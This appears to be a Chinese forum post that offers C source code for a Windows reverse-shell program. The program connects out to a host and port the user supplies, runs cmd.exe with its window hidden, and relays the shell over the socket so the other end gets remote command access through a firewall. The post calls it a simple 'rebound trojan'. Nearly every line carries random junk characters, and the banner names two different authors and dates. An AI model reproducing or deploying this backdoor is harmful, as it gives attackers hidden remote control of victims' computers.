这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E85 03
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/* ============================== E>[~"~x"pV
Rebound port in Windows NT ~C[,P\,
By wind,2006/7 _,'UP>Si
===============================*/ m1cyCD
#include nQgn^z#
#include 7z$+ *]9-
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#pragma comment(lib,"wsock32.lib") ,rN7X<s54
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void OutputShell(); NT nn!k
SOCKET sClient; ZqhINM*Rm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xu
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void main(int argc,char **argv) G%P]qi
{ 1n,JynJ
WSADATA stWsaData; 6-^+btl)#
int nRet; Oll\T GXP!
SOCKADDR_IN stSaiClient,stSaiServer; _6|b0*jv'&
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if(argc != 3) {k)MC)%
{ U9If%0P
printf("Useage:\n\rRebound DestIP DestPort\n"); 9fV 57
return; N0XGW_f
} (2{1m#o
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WSAStartup(MAKEWORD(2,2),&stWsaData); .h6h&[TEU
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FkS{Z s
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stSaiClient.sin_family = AF_INET; IQ|~d08}
stSaiClient.sin_port = htons(0); HS2)vd@)
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )oNomsn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =l\D7s
{ M"J$c42
printf("Bind Socket Failed!\n"); aJfW75C
return; sI.Ezuw
} Q'rG' |
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stSaiServer.sin_family = AF_INET; =EG[_i{r
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CR_A{(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d2(n3Xf
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,JjTzO
{ J0x)m2
printf("Connect Error!"); $V+ze*ra
return; T|=8jt,
} E;X'.7[c
OutputShell(); 1\3n
} 1,/oS&?E
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void OutputShell() rzex"}/ly
{ #A|MNJ%m
char szBuff[1024]; Axcm~!uf
SECURITY_ATTRIBUTES stSecurityAttributes; 5zUD W?
OSVERSIONINFO stOsversionInfo; 4u;W1=+Vn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w ggl,+7
STARTUPINFO stStartupInfo; `yf#(YP
char *szShell; } o=g)
PROCESS_INFORMATION stProcessInformation; )QKZI))G0
unsigned long lBytesRead; M^bujGD
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <?I~ +
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v3[
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stSecurityAttributes.lpSecurityDescriptor = 0; 7N:,F9V<
stSecurityAttributes.bInheritHandle = TRUE; [bZXzV(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {>~|xW
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x;C\G`9N
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^v`|0z\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +`9T?:fu
stStartupInfo.wShowWindow = SW_HIDE; Bkcs4 x
stStartupInfo.hStdInput = hReadPipe; -dza_{&+iZ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b,!h[
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GetVersionEx(&stOsversionInfo); jbG #__#_
~< k'{
switch(stOsversionInfo.dwPlatformId) z7GLpTa
{ oEfKL`]B
case 1: +4@EJRC
szShell = "command.com"; Iz ,C!c
break; P>)qN,a
default: p{88v3b6
szShell = "cmd.exe"; khyVuWN
break; BK-{z).)
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pE`BB{[@
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send(sClient,szMsg,77,0); p^^<BjkQ
while(1) -()CgtSR
{ AJj6@hi2P
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z;Kyg}
if(lBytesRead) d^,u"Z9P
{ _RAPXU~ 6-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b2 ZKhS8
send(sClient,szBuff,lBytesRead,0); VRT| OUq
} [t>}M6?R:
else o8Tt|Lxb$8
{ QV" |
lBytesRead=recv(sClient,szBuff,1024,0); p6sXftk
if(lBytesRead<=0) break; ]r|X[9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3 p")
} @C?RbTHy
} ?a(ApD\
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return; $_NVy>\&
}